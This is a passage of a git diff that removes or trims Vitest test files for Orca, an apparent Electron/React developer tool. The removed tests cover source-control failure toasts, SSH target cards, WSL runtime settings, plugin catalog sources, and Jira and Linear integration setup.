it('rejects oversized text before validating later unsupported characters', () => { const oversizedText = 'a'.repeat(EMULATOR_KEYBOARD_PASTE_MAX_BYTES + 1) const plan = buildEmulatorKeyboardPastePlan(`${oversizedText}🙂`) diff --git a/src/renderer/src/components/floating-terminal/FloatingTerminalOrchestrationDialog.freshness.test.tsx b/src/renderer/src/components/floating-terminal/FloatingTerminalOrchestrationDialog.freshness.test.tsx index 26e5496c3f1..78d8466c78d 100644 --- a/src/renderer/src/components/floating-terminal/FloatingTerminalOrchestrationDialog.freshness.test.tsx +++ b/src/renderer/src/components/floating-terminal/FloatingTerminalOrchestrationDialog.freshness.test.tsx @@ -117,25 +117,4 @@ describe('FloatingTerminalOrchestrationDialog freshness', () => { expect(bundledPlan).toHaveBeenCalledTimes(2) expect(document.body.textContent).not.toContain('Update available') }) - - it('never reads client freshness for an SSH-owned skill', async () => { - mocks.canUseSkillFreshness = false - const bundledPlan = vi.fn().mockResolvedValue(plan([])) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a test double implements only the preload methods this code path calls. - window.api = { - skills: { bundledPlan }, - cli: { getInstallStatus: vi.fn().mockResolvedValue({ onPath: true }) } - } as never - - await renderDialog() - expect(document.body.textContent).toContain('Installed') - - await act(async () => { - recheckButton()?.dispatchEvent(new MouseEvent('click', { bubbles: true })) - }) - await act(async () => {}) - - expect(mocks.refreshOrchestrationSkill).toHaveBeenCalledOnce() - expect(bundledPlan).not.toHaveBeenCalled() - }) }) diff --git a/src/renderer/src/components/new-workspace/use-jira-source-connection.test.tsx b/src/renderer/src/components/new-workspace/use-jira-source-connection.test.tsx index 112ce6c796c..d9421761110 100644 --- a/src/renderer/src/components/new-workspace/use-jira-source-connection.test.tsx +++ b/src/renderer/src/components/new-workspace/use-jira-source-connection.test.tsx @@ -76,36 +76,6 @@ describe('useJiraSourceConnection', () => { mocks.listeners.clear() }) - it('exposes Jira only after the selected source host reports a connection', async () => { - mocks.readJiraStatus.mockResolvedValue(status(true)) - const context = sourceContext() - const { result } = renderHook(() => - useJiraSourceConnection({ enabled: true, sourceContext: context }) - ) - - expect(result.current).toEqual({ status: null, loaded: false }) - await act(async () => { - await Promise.resolve() - }) - - expect(result.current.status?.connected).toBe(true) - expect(result.current.loaded).toBe(true) - expect(mocks.readJiraStatus).toHaveBeenCalledWith(context) - }) - - it('keeps Jira hidden when the selected source host is disconnected', async () => { - mocks.readJiraStatus.mockResolvedValue(status(false)) - const { result } = renderHook(() => - useJiraSourceConnection({ enabled: true, sourceContext: sourceContext('ssh:host-1') }) - ) - - await act(async () => { - await Promise.resolve() - }) - - expect(result.current.status?.connected).toBe(false) - }) - it('reads no status until the composer engages Jira', async () => { mocks.readJiraStatus.mockResolvedValue(status(true)) const context = sourceContext() diff --git a/src/renderer/src/components/plugins/dialogs/PluginMarketplaceSourceDialog.test.tsx b/src/renderer/src/components/plugins/dialogs/PluginMarketplaceSourceDialog.test.tsx deleted file mode 100644 index 3a1dd415bb7..00000000000 --- a/src/renderer/src/components/plugins/dialogs/PluginMarketplaceSourceDialog.test.tsx +++ /dev/null @@ -1,139 +0,0 @@ -// @vitest-environment happy-dom - -import { act } from 'react' -import { createRoot } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { PluginMarketplaceHostSourceState } from '../../../../../preload/api-types' -import { PluginMarketplaceSourceDialog } from './PluginMarketplaceSourceDialog' - -const source: PluginMarketplaceHostSourceState = { - id: 'a'.repeat(32), - source: { kind: 'git', url: 'git@example.com:team/plugins.git', ref: 'stable' }, - addedAt: 1, - marketplace: { - name: 'Team plugins', - owner: 'example', - resolvedCommit: 'b'.repeat(40), - fetchedAt: 2 - }, - stale: false, - official: false -} - -function installApi(): void { - Object.defineProperty(window, 'api', { - configurable: true, - value: { - plugins: { - addMarketplace: vi.fn().mockResolvedValue(source), - refreshMarketplaces: vi.fn().mockResolvedValue([source]), - removeMarketplace: vi.fn().mockResolvedValue([]) - } - } - }) -} - -async function setInput(input: HTMLInputElement, value: string): Promise { - await act(async () => { - Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call(input, value) - input.dispatchEvent(new Event('input', { bubbles: true })) - }) -} - -beforeEach(() => installApi()) - -afterEach(() => { - document.body.innerHTML = '' - vi.restoreAllMocks() -}) - -describe('PluginMarketplaceSourceDialog', () => { - it('calls them catalogs, matching the menu item that opens it', async () => { - const container = document.createElement('div') - document.body.appendChild(container) - const root = createRoot(container) - await act(async () => { - root.render( - - ) - }) - const text = document.querySelector('[role="dialog"]')?.textContent ?? '' - expect(text).toContain('Catalog sources') - expect(text).toContain('orca-catalog.json') - // Why the filename aside: older catalogs still publish orca-marketplace.json. - expect(text.replaceAll('orca-marketplace.json', '')).not.toMatch(/marketplace/i) - act(() => root.unmount()) - }) - - it('adds private SSH marketplaces through the system-Git source contract', async () => { - const container = document.createElement('div') - document.body.appendChild(container) - const root = createRoot(container) - const onChanged = vi.fn().mockResolvedValue(undefined) - await act(async () => { - root.render( - - ) - }) - const url = document.querySelector('#plugin-marketplace-url') - const gitRef = document.querySelector('#plugin-marketplace-ref') - if (!url || !gitRef) { - throw new Error('missing marketplace source inputs') - } - await setInput(url, 'git@example.com:private/plugins.git') - await setInput(gitRef, 'release') - - const add = Array.from(document.querySelectorAll('button')).find( - (candidate) => candidate.textContent?.trim() === 'Add source' - ) - await act(async () => add?.click()) - - expect(window.api.plugins.addMarketplace).toHaveBeenCalledWith({ - kind: 'git', - url: 'git@example.com:private/plugins.git', - ref: 'release' - }) - expect(onChanged).toHaveBeenCalledOnce() - act(() => root.unmount()) - }) - - it('dispatches per-source refresh and removal', async () => { - const container = document.createElement('div') - document.body.appendChild(container) - const root = createRoot(container) - const onChanged = vi.fn().mockResolvedValue(undefined) - await act(async () => { - root.render( - - ) - }) - expect(document.querySelector('[role="dialog"]')?.classList).toContain('plugin-security-chrome') - - await act(async () => - document.querySelector('[aria-label="Refresh Team plugins"]')?.click() - ) - await act(async () => - document.querySelector('[aria-label="Remove Team plugins"]')?.click() - ) - - expect(window.api.plugins.refreshMarketplaces).toHaveBeenCalledWith({ sourceId: source.id }) - expect(window.api.plugins.removeMarketplace).toHaveBeenCalledWith({ sourceId: source.id }) - expect(onChanged).toHaveBeenCalledTimes(2) - act(() => root.unmount()) - }) -}) diff --git a/src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-failure-toast.test.ts b/src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-failure-toast.test.ts index 57f78c83f79..ce4fcff6998 100644 --- a/src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-failure-toast.test.ts +++ b/src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-failure-toast.test.ts @@ -49,36 +49,6 @@ describe('showSourceControlEntryFailureToast', () => { storeState.activeWorktreeId = 'wt-1' }) - it('names the failed operation and the file', () => { - show() - expect(lastToast().title).toBe('Failed to stage “src/app.ts”') - show({ operation: 'unstage' }) - expect(lastToast().title).toBe('Failed to unstage “src/app.ts”') - show({ operation: 'discard' }) - expect(lastToast().title).toBe('Failed to discard “src/app.ts”') - }) - - it('says "delete" for an entry whose discard removes the file rather than restoring it', () => { - // Match the delete verb shown by row/confirmation controls when discard removes a file. - show({ operation: 'discard', deletesFile: true }) - expect(lastToast().title).toBe('Failed to delete “src/app.ts”') - }) - - it('keeps the underlying detail but drops the Electron IPC wrapper', () => { - show({ - error: new Error("Error invoking remote method 'git:stage': Error: index.lock exists") - }) - expect(lastToast().options.description).toBe('index.lock exists') - }) - - it('uses one stable slot for entry failures', () => { - show() - expect(lastToast().options.id).toBe('source-control-entry-mutation') - storeState.activeWorktreeId = 'wt-2' - show({ worktreeId: 'wt-2', worktreeName: 'feature-b' }) - expect(lastToast().options.id).toBe('source-control-entry-mutation') - }) - it('still reports a failure belonging to a worktree the user has left, naming it', () => { // Suppress stale recovery actions after switches, but still report the original workspace's failure. storeState.activeWorktreeId = 'wt-2' @@ -90,24 +60,6 @@ describe('showSourceControlEntryFailureToast', () => { expect(lastToast().options.duration).toBeUndefined() }) - it('offers Retry, and a readable lifetime, only in the worktree that failed', () => { - const onRetry = vi.fn() - show({ onRetry }) - expect(lastToast().options.action?.label).toBe('Retry') - expect(lastToast().options.duration).toBe(10000) - clickRetry() - expect(onRetry).toHaveBeenCalledTimes(1) - }) - - it('keeps sonner from auto-dismissing the slot the retry is about to re-raise into', () => { - // Sonner removes action-clicked IDs after ~200ms; preventDefault preserves fast retry failures. - const onRetry = vi.fn() - show({ onRetry }) - - expect(clickRetry().preventDefault).toHaveBeenCalledTimes(1) - expect(toastDismiss).not.toHaveBeenCalled() - }) - it('retires a Retry action that became stale after a worktree switch', () => { const onRetry = vi.fn() show({ onRetry }) @@ -119,12 +71,6 @@ describe('showSourceControlEntryFailureToast', () => { expect(toastDismiss).toHaveBeenCalledWith('source-control-entry-mutation') }) - it('clears the shared slot when an attempt finally lands', () => { - show() - dismissSourceControlEntryFailureToast('wt-1') - expect(toastDismiss).toHaveBeenCalledWith('source-control-entry-mutation') - }) - it('leaves a failure another worktree raised into the slot alone', () => { // A slow old-workspace retry must not dismiss a newer workspace's failure in the shared slot. show({ worktreeId: 'wt-1' }) @@ -137,9 +83,4 @@ describe('showSourceControlEntryFailureToast', () => { dismissSourceControlEntryFailureToast('wt-2') expect(toastDismiss).toHaveBeenCalledWith('source-control-entry-mutation') }) - - it('omits the description when the failure carried no readable message', () => { - show({ error: 'not an Error' }) - expect(lastToast().options.description).toBeUndefined() - }) }) diff --git a/src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-mutation-failures.test.tsx b/src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-mutation-failures.test.tsx deleted file mode 100644 index 2f2b271e76f..00000000000 --- a/src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-mutation-failures.test.tsx +++ /dev/null @@ -1,241 +0,0 @@ -// @vitest-environment happy-dom - -import { act, renderHook } from '@testing-library/react' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { GitStatusEntry } from '../../../../../../shared/git-status-types' -import type { SourceControlToastTestOptions } from './source-control-toast-test-options' - -const mocks = vi.hoisted(() => ({ - toastError: vi.fn<(title: string, options?: SourceControlToastTestOptions) => void>(), - toastDismiss: vi.fn<(id: string) => void>(), - stagePath: vi.fn(), - unstagePath: vi.fn(), - bulkUnstagePaths: vi.fn(), - discardPath: vi.fn() -})) - -vi.mock('sonner', () => ({ - toast: { error: mocks.toastError, dismiss: mocks.toastDismiss, message: vi.fn() } -})) -vi.mock('@/lib/connection-context', () => ({ getConnectionId: () => undefined })) -vi.mock('@/components/editor/editor-autosave', () => ({ - notifyEditorExternalFileChange: vi.fn(), - requestEditorSaveQuiesce: vi.fn(async () => {}) -})) -vi.mock('@/runtime/runtime-git-working-tree-client', () => ({ - stageRuntimeGitPath: (...args: unknown[]) => mocks.stagePath(...args), - unstageRuntimeGitPath: (...args: unknown[]) => mocks.unstagePath(...args), - discardRuntimeGitPath: (...args: unknown[]) => mocks.discardPath(...args), - bulkDiscardRuntimeGitPaths: vi.fn(), - bulkUnstageRuntimeGitPaths: (...args: unknown[]) => mocks.bulkUnstagePaths(...args) -})) -vi.mock('@/store', () => ({ - useAppStore: Object.assign(() => undefined, { - getState: () => ({ settings: { activeRuntimeEnvironmentId: null }, activeWorktreeId: 'wt-1' }) - }) -})) - -import { useSourceControlDiscardConfirmation } from './use-discard-confirmation' -import { useSourceControlEntryMutations } from './use-entry-mutations' -import type { SourceControlEntryGroups } from '../../../../../../shared/source-control-section-order' - -const EMPTY_GROUPS: SourceControlEntryGroups = { unstaged: [], staged: [], untracked: [] } - -function entry( - path: string, - status: GitStatusEntry['status'] = 'modified', - area: GitStatusEntry['area'] = 'unstaged' -): GitStatusEntry { - return { path, status, area } -} - -function lastToast(): { title: string; options: SourceControlToastTestOptions } { - const [title = '', options = {}] = mocks.toastError.mock.lastCall ?? [] - return { title, options } -} - -function clickRetry(): void { - lastToast().options.action?.onClick({ preventDefault: () => {} }) -} - -function renderMutations() { - return renderHook(() => - useSourceControlEntryMutations({ - activeRepoTarget: { kind: 'local' }, - activeWorktreeId: 'wt-1', - worktreePath: '/repo', - refreshActiveGitStatusAfterMutation: async () => {} - }) - ) -} - -function renderDiscard(discardSingle: (path: string) => Promise) { - return renderHook(() => - useSourceControlDiscardConfirmation({ - activeRepoTarget: { kind: 'local' }, - activeWorktreeId: 'wt-1', - worktreePath: '/repo', - grouped: EMPTY_GROUPS, - isExecutingBulk: false, - setIsExecutingBulk: () => {}, - clearSelection: () => {}, - discardMany: async () => {}, - discardSingle, - refreshActiveGitStatusAfterMutation: async () => {} - }) - ) -} - -describe('source-control entry mutation failures', () => { - beforeEach(() => { - vi.clearAllMocks() - vi.spyOn(console, 'error').mockImplementation(() => {}) - }) - - it('reports a failed stage instead of leaving the row unchanged and silent', async () => { - mocks.stagePath.mockRejectedValue(new Error('index.lock exists')) - const { result } = renderMutations() - - await act(async () => { - await result.current.handleStage('src/app.ts') - }) - - expect(mocks.toastError).toHaveBeenCalledTimes(1) - expect(lastToast().title).toBe('Failed to stage “src/app.ts”') - expect(lastToast().options.description).toBe('index.lock exists') - }) - - it('retries the same path from the stage failure toast', async () => { - mocks.stagePath.mockRejectedValueOnce(new Error('index.lock exists')) - mocks.stagePath.mockResolvedValueOnce(undefined) - const { result } = renderMutations() - - await act(async () => { - await result.current.handleStage('src/app.ts') - }) - await act(async () => { - clickRetry() - }) - - expect(mocks.stagePath).toHaveBeenCalledTimes(2) - expect(mocks.stagePath.mock.calls[1]?.[1]).toBe('src/app.ts') - expect(mocks.toastError).toHaveBeenCalledTimes(1) - expect(mocks.toastDismiss).toHaveBeenCalledWith('source-control-entry-mutation') - }) - - it('re-raises the failure toast when the retry fails again', async () => { - // Preserve fast retry failures against Sonner's ~200ms delayed action-click removal. - mocks.stagePath.mockRejectedValueOnce(new Error('index.lock exists')) - mocks.stagePath.mockRejectedValueOnce(new Error('still locked')) - const { result } = renderMutations() - - await act(async () => { - await result.current.handleStage('src/app.ts') - }) - await act(async () => { - clickRetry() - }) - - expect(mocks.toastError).toHaveBeenCalledTimes(2) - expect(lastToast().options.id).toBe('source-control-entry-mutation') - expect(lastToast().options.description).toBe('still locked') - expect(mocks.toastDismiss).not.toHaveBeenCalled() - }) - - it('reports a failed unstage', async () => { - mocks.unstagePath.mockRejectedValue(new Error('bad object')) - const { result } = renderMutations() - - await act(async () => { - await result.current.handleUnstage('src/app.ts') - }) - - expect(lastToast().title).toBe('Failed to unstage “src/app.ts”') - }) - - it('unstages both rename paths in one request and retains them on retry', async () => { - mocks.bulkUnstagePaths.mockRejectedValueOnce(new Error('index.lock exists')) - mocks.bulkUnstagePaths.mockResolvedValueOnce(undefined) - const { result } = renderMutations() - - await act(async () => { - await result.current.handleUnstage('src/new.ts', 'src/old.ts') - }) - await act(async () => { - clickRetry() - }) - - expect(mocks.unstagePath).not.toHaveBeenCalled() - expect(mocks.bulkUnstagePaths).toHaveBeenCalledTimes(2) - for (const call of mocks.bulkUnstagePaths.mock.calls) { - expect(call[1]).toEqual(['src/new.ts', 'src/old.ts']) - } - }) - - it('leaves a successful stage silent, and clears a stale failure it supersedes', async () => { - mocks.stagePath.mockRejectedValueOnce(new Error('index.lock exists')) - mocks.stagePath.mockResolvedValueOnce(undefined) - const { result } = renderMutations() - - await act(async () => { - await result.current.handleStage('src/app.ts') - }) - mocks.toastError.mockClear() - await act(async () => { - await result.current.handleStage('src/other.ts') - }) - - expect(mocks.toastError).not.toHaveBeenCalled() - expect(mocks.toastDismiss).toHaveBeenCalledWith('source-control-entry-mutation') - }) - - it('reports a failed per-row discard — the destructive action must never fail silently', async () => { - const discardSingle = vi.fn(async () => { - throw new Error('unable to write file') - }) - const { result } = renderDiscard(discardSingle) - - await act(async () => { - result.current.requestDiscardEntry(entry('src/app.ts')) - }) - await act(async () => { - result.current.confirmPendingDiscard() - }) - - expect(mocks.toastError).toHaveBeenCalledTimes(1) - expect(lastToast().title).toBe('Failed to discard “src/app.ts”') - expect(lastToast().options.description).toBe('unable to write file') - }) - - it('does not put a destructive retry in the failure toast', async () => { - const discardSingle = vi.fn(async () => { - throw new Error('unable to write file') - }) - const { result } = renderDiscard(discardSingle) - - await act(async () => { - result.current.requestDiscardEntry(entry('src/app.ts')) - }) - await act(async () => { - result.current.confirmPendingDiscard() - }) - expect(lastToast().options.action).toBeUndefined() - expect(discardSingle).toHaveBeenCalledTimes(1) - }) - - it('says "delete" when the failed discard would have removed an untracked file', async () => { - const discardSingle = vi - .fn<(path: string) => Promise>() - .mockRejectedValue(new Error('unable to write file')) - const { result } = renderDiscard(discardSingle) - - await act(async () => { - result.current.requestDiscardEntry(entry('new.ts', 'untracked', 'untracked')) - }) - await act(async () => { - result.current.confirmPendingDiscard() - }) - - expect(lastToast().title).toBe('Failed to delete “new.ts”') - }) -}) diff --git a/src/renderer/src/components/right-sidebar/use-source-control-git-history.test.tsx b/src/renderer/src/components/right-sidebar/use-source-control-git-history.test.tsx index 39dcfd72640..2e0ae406f37 100644 --- a/src/renderer/src/components/right-sidebar/use-source-control-git-history.test.tsx +++ b/src/renderer/src/components/right-sidebar/use-source-control-git-history.test.tsx @@ -214,27 +214,6 @@ describe('useSourceControlGitHistory stale completion', () => { expect(latest?.gitHistoryState).toEqual({ status: 'idle' }) }) - it('re-fetches when the compare base moves and passes it to the history read', async () => { - const root = await mount({ compareBaseRef: 'origin/main' }) - await flush() - expect(mocks.getRuntimeGitHistory).toHaveBeenLastCalledWith( - expect.objectContaining({ worktreeId: 'A', worktreePath: '/a' }), - // A mount with Commits already open is restored state, not a user act: no WSL wake (E9). - { limit: 50, baseRef: 'origin/main' } - ) - - await act(async () => { - root.render() - }) - await flush() - expect(mocks.getRuntimeGitHistory).toHaveBeenCalledTimes(2) - // A base-ref move refetches in the background; it never starts a stopped distro. - expect(mocks.getRuntimeGitHistory).toHaveBeenLastCalledWith(expect.anything(), { - limit: 50, - baseRef: 'origin/dev' - }) - }) - it('re-fetches when the owner host changes but the worktree and path stay put', async () => { const root = await mount({ activeRepoTarget: { kind: 'local' } diff --git a/src/renderer/src/components/settings/DefaultWindowsProjectRuntimeSetting.test.tsx b/src/renderer/src/components/settings/DefaultWindowsProjectRuntimeSetting.test.tsx deleted file mode 100644 index 0c035992d3d..00000000000 --- a/src/renderer/src/components/settings/DefaultWindowsProjectRuntimeSetting.test.tsx +++ /dev/null @@ -1,140 +0,0 @@ -import React from 'react' -import { renderToStaticMarkup } from 'react-dom/server' -import { describe, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../../../shared/constants' -import { SettingsSegmentedControl } from './SettingsFormControls' -import { DefaultWindowsProjectRuntimeSetting } from './DefaultWindowsProjectRuntimeSetting' - -type ReactElementLike = { - type: unknown - props: Record -} - -function visit(node: unknown, cb: (node: ReactElementLike) => void): void { - if (node == null || typeof node === 'string' || typeof node === 'number') { - return - } - if (Array.isArray(node)) { - node.forEach((entry) => visit(entry, cb)) - return - } - const element = node as ReactElementLike - cb(element) - if (element.props?.children) { - visit(element.props.children, cb) - } - if (element.props?.control) { - visit(element.props.control, cb) - } -} - -function findRuntimeControl(node: unknown): ReactElementLike { - let found: ReactElementLike | null = null - visit(node, (entry) => { - if ( - entry.type === SettingsSegmentedControl && - entry.props.ariaLabel === 'Default project runtime' - ) { - found = entry - } - }) - if (!found) { - throw new Error('default project runtime control not found') - } - return found -} - -function findDistroSelect(node: unknown): ReactElementLike { - let found: ReactElementLike | null = null - visit(node, (entry) => { - if (entry.props.value === 'Ubuntu-24.04' && typeof entry.props.onValueChange === 'function') { - found = entry - } - }) - if (!found) { - throw new Error('default distro select not found') - } - return found -} - -function renderSetting( - props: React.ComponentProps -): React.JSX.Element | null { - return DefaultWindowsProjectRuntimeSetting(props) -} - -describe('DefaultWindowsProjectRuntimeSetting', () => { - it('describes the Windows host global default', () => { - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('Default project runtime') - expect(markup).toContain('Projects inherit Windows unless a project overrides it.') - }) - - it('updates the global default to WSL using the first available distro', () => { - const updateSettings = vi.fn() - const element = renderSetting({ - settings: getDefaultSettings('/tmp'), - updateSettings, - wslSupportedPlatform: true, - wslAvailable: true, - wslDistros: ['Ubuntu-24.04'], - wslCapabilitiesLoading: false - }) - const control = findRuntimeControl(element) - const onChange = control.props.onChange as (value: 'windows-host' | 'wsl') => void - - onChange('wsl') - - expect(updateSettings).toHaveBeenCalledWith({ - localWindowsRuntimeDefault: { kind: 'wsl', distro: 'Ubuntu-24.04' } - }) - }) - - it('updates the selected WSL distro for the global default', () => { - const updateSettings = vi.fn() - const element = renderSetting({ - settings: { - ...getDefaultSettings('/tmp'), - localWindowsRuntimeDefault: { kind: 'wsl', distro: 'Ubuntu-24.04' } - }, - updateSettings, - wslSupportedPlatform: true, - wslAvailable: true, - wslDistros: ['Ubuntu-24.04', 'Debian'], - wslCapabilitiesLoading: false - }) - const select = findDistroSelect(element) - const onValueChange = select.props.onValueChange as (value: string) => void - - onValueChange('Debian') - - expect(updateSettings).toHaveBeenCalledWith({ - localWindowsRuntimeDefault: { kind: 'wsl', distro: 'Debian' } - }) - }) - - it('does not render where local Windows WSL selection is unsupported', () => { - const markup = renderToStaticMarkup( - - ) - - expect(markup).toBe('') - }) -}) diff --git a/src/renderer/src/components/settings/SshTargetCard.test.tsx b/src/renderer/src/components/settings/SshTargetCard.test.tsx deleted file mode 100644 index 9ee5b37233f..00000000000 --- a/src/renderer/src/components/settings/SshTargetCard.test.tsx +++ /dev/null @@ -1,137 +0,0 @@ -// @vitest-environment happy-dom - -import { act } from 'react' -import { createRoot } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { SshTargetCard } from './SshTargetCard' -import { TooltipProvider } from '../ui/tooltip' -import type { SshConnectionState, SshTarget } from '../../../../shared/ssh-types' - -beforeEach(() => { - Object.assign(window, { api: { runtimeEnvironments: {} } }) -}) - -afterEach(() => { - document.body.innerHTML = '' - Reflect.deleteProperty(window, 'api') -}) - -const target: SshTarget = { - id: 'target-1', - label: 'build-01', - host: 'build-01.internal', - port: 22, - username: 'deploy' -} - -/** The real thing a host key mismatch produces: the remedy is the last clause. */ -const HOST_KEY_ERROR = - 'Host key verification failed for build-01.internal. The key does not match the entry in your known_hosts file. ssh and git will refuse this host too. Run: ssh-keygen -R build-01.internal' - -async function renderCard( - state: SshConnectionState | undefined, - cardTarget: SshTarget = target -): Promise { - const container = document.createElement('div') - document.body.appendChild(container) - await act(async () => { - createRoot(container).render( - - - - ) - }) - return container -} - -const errorState = (error: string): SshConnectionState => ({ - targetId: 'target-1', - status: 'error', - error, - reconnectAttempt: 0, - supportsFolderDownload: false -}) - -describe('the connection error on an SSH target card', () => { - it('shows the whole message, remedy included', async () => { - const container = await renderCard(errorState(HOST_KEY_ERROR)) - - expect(container.textContent).toContain('ssh-keygen -R build-01.internal') - }) - - // Truncation without a tooltip hid the remedy at the end of host-key errors. - it('does not clamp it to a single line', async () => { - const container = await renderCard(errorState(HOST_KEY_ERROR)) - const paragraph = [...container.querySelectorAll('p')].find((node) => - node.textContent?.includes('ssh-keygen') - ) - - expect(paragraph).toBeDefined() - expect(paragraph?.className).not.toContain('truncate') - // A long hostname has no break opportunity, so wrapping alone would still overflow the column. - expect(paragraph?.className).toContain('[overflow-wrap:anywhere]') - }) - - it('renders nothing when there is no error', async () => { - const container = await renderCard(undefined) - - expect(container.textContent).not.toContain('Host key verification failed') - }) -}) - -describe('an SSH host its managed server does not serve', () => { - it('leaves the reason to the translated status line instead of repeating main’s English', async () => { - const container = await renderCard({ - targetId: 'target-1', - status: 'error', - error: 'This SSH host isn’t supported by this version of Orca.', - reconnectAttempt: 0, - managedServer: { kind: 'relay', reason: 'orcad_unavailable', detail: 'unsupported_host' } - }) - - expect(container.textContent).not.toContain('This SSH host isn’t supported') - }) -}) - -describe('the compact SSH host row', () => { - it('stays quiet while disconnected and names the key file only', async () => { - const container = await renderCard(undefined, { - ...target, - identityFile: '/Users/me/.ssh/id_ed25519' - }) - - expect(container.textContent).toContain('deploy@build-01.internal:22 · id_ed25519') - expect(container.textContent).not.toContain('Disconnected') - expect(container.textContent).toContain('Connect') - }) - - it('shows a live status and offers Disconnect when connected', async () => { - const container = await renderCard({ - targetId: 'target-1', - status: 'connected', - error: null, - reconnectAttempt: 0 - }) - - expect(container.textContent).toContain('Connected') - expect(container.textContent).toContain('Disconnect') - }) - - it('marks a host held by a managed server with a chip', async () => { - const container = await renderCard(undefined, { - ...target, - orcadFence: { environmentId: 'env-1' } - }) - - expect(container.textContent).toContain('Orca server') - }) -}) diff --git a/src/renderer/src/components/settings/SshTargetList.large-config.test.tsx b/src/renderer/src/components/settings/SshTargetList.large-config.test.tsx index a94b31c8104..356aefb94e7 100644 --- a/src/renderer/src/components/settings/SshTargetList.large-config.test.tsx +++ b/src/renderer/src/components/settings/SshTargetList.large-config.test.tsx @@ -120,14 +120,4 @@ describe('the SSH host list with a very large imported config', () => { expect(rowLabels()).toContain(`node-${IMPORTED_HOST_COUNT - 1}`) expect(rowLabels()).not.toContain('node-00000') }) - - it('renders an ordinary config in full, unwindowed', () => { - act(() => { - root.render( - - ) - }) - expect(rowLabels()).toEqual(['node-00000', 'node-00001', 'node-00002']) - expect(document.querySelector('[data-testid="virtualized-list"]')).toBeNull() - }) }) diff --git a/src/renderer/src/components/settings/TaskSourceLinearSetup.test.tsx b/src/renderer/src/components/settings/TaskSourceLinearSetup.test.tsx deleted file mode 100644 index c19b93222b9..00000000000 --- a/src/renderer/src/components/settings/TaskSourceLinearSetup.test.tsx +++ /dev/null @@ -1,132 +0,0 @@ -// @vitest-environment happy-dom - -import { cleanup, fireEvent, render } from '@testing-library/react' -import { renderToStaticMarkup } from 'react-dom/server' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { TaskSourceLinearSetup } from './TaskSourceLinearSetup' - -const mocks = vi.hoisted(() => ({ - skillInstalled: false, - skillLoading: false, - checkLinearConnection: vi.fn(), - panelProps: [] as { installed?: boolean }[] -})) - -vi.mock('./AgentSkillSetupPanel', () => ({ - AgentSkillSetupPanel: (props: { installed?: boolean }) => { - mocks.panelProps.push(props) - return
{props.installed ? 'Installed' : 'Not installed'}
- } -})) - -vi.mock('@/lib/linear-agent-skill-update-target', () => ({ - getLinearAgentSkillUpdateTarget: () => ({ - skillName: 'orca-linear' - }) -})) - -vi.mock('@/hooks/useInstalledAgentSkills', () => ({ - GLOBAL_AGENT_SKILL_SOURCE_KINDS: ['home'], - useInstalledAgentSkillNames: () => ({ - installed: mocks.skillInstalled, - loading: mocks.skillLoading, - error: null, - skills: [], - refresh: vi.fn() - }) -})) - -vi.mock('@/hooks/useActiveProjectSkillRuntime', () => ({ - useActiveProjectSkillRuntime: () => ({ - discoveryTarget: undefined, - agentRuntime: { runtime: 'native' }, - installDisabledReason: null, - canUseSkillFreshness: true - }) -})) - -vi.mock('@/components/linear-api-key-dialog', () => ({ - LinearApiKeyDialog: () => null -})) - -vi.mock('@/store', () => ({ - useAppStore: (selector: (state: { checkLinearConnection: () => void }) => unknown) => - selector({ checkLinearConnection: mocks.checkLinearConnection }) -})) - -function setupElement( - overrides: { - connected?: boolean - visible?: boolean - onOpenIntegrations?: () => void - } = {} -): React.JSX.Element { - return ( - - ) -} - -function renderSetup(overrides: { connected?: boolean; visible?: boolean } = {}): string { - return renderToStaticMarkup(setupElement(overrides)) -} - -describe('TaskSourceLinearSetup', () => { - beforeEach(() => { - mocks.skillInstalled = false - mocks.skillLoading = false - mocks.panelProps = [] - }) - - afterEach(() => { - cleanup() - }) - - it('blocks first-time skill install until Linear is connected', () => { - const markup = renderSetup({ connected: false }) - - expect(markup).toContain('Connect Linear first') - expect(markup).not.toContain('data-testid="skill-panel"') - }) - - it('shows the skill panel as done when the skill is already installed without a connection', () => { - mocks.skillInstalled = true - const markup = renderSetup({ connected: false }) - - expect(markup).not.toContain('Connect Linear first') - expect(markup).toContain('data-testid="skill-panel"') - expect(markup).toContain('Installed') - expect(mocks.panelProps.at(-1)).toEqual(expect.objectContaining({ installed: true })) - }) - - it('keeps the skill panel visible while a scan is in flight without a connection', () => { - mocks.skillLoading = true - const markup = renderSetup({ connected: false }) - - expect(markup).not.toContain('Connect Linear first') - expect(markup).toContain('data-testid="skill-panel"') - }) - - it('shows the install panel when connected and the skill is missing', () => { - const markup = renderSetup({ connected: true }) - - expect(markup).toContain('data-testid="skill-panel"') - expect(markup).toContain('Not installed') - expect(markup).not.toContain('Connect Linear first') - }) - - it('routes connected credential management to Integrations', () => { - const onOpenIntegrations = vi.fn() - const rendered = render(setupElement({ connected: true, onOpenIntegrations })) - - fireEvent.click(rendered.getByRole('button', { name: 'Manage keys' })) - - expect(onOpenIntegrations).toHaveBeenCalledOnce() - }) -}) diff --git a/src/renderer/src/components/settings/use-task-source-provider-readiness.test.tsx b/src/renderer/src/components/settings/use-task-source-provider-readiness.test.tsx deleted file mode 100644 index d9e453d9758..00000000000 --- a/src/renderer/src/components/settings/use-task-source-provider-readiness.test.tsx +++ /dev/null @@ -1,182 +0,0 @@ -// @vitest-environment happy-dom - -import { act } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { TaskProvider } from '../../../../shared/task-providers' -import type { TaskProviderReadiness } from './task-source-setup-state' -import { useTaskSourceProviderReadiness } from './use-task-source-provider-readiness' - -const mocks = vi.hoisted(() => ({ - state: {} as Record, - skill: { - installed: false, - loading: false, - settled: true, - installedUnverifiable: false, - error: null, - skills: [], - sources: [], - refresh: 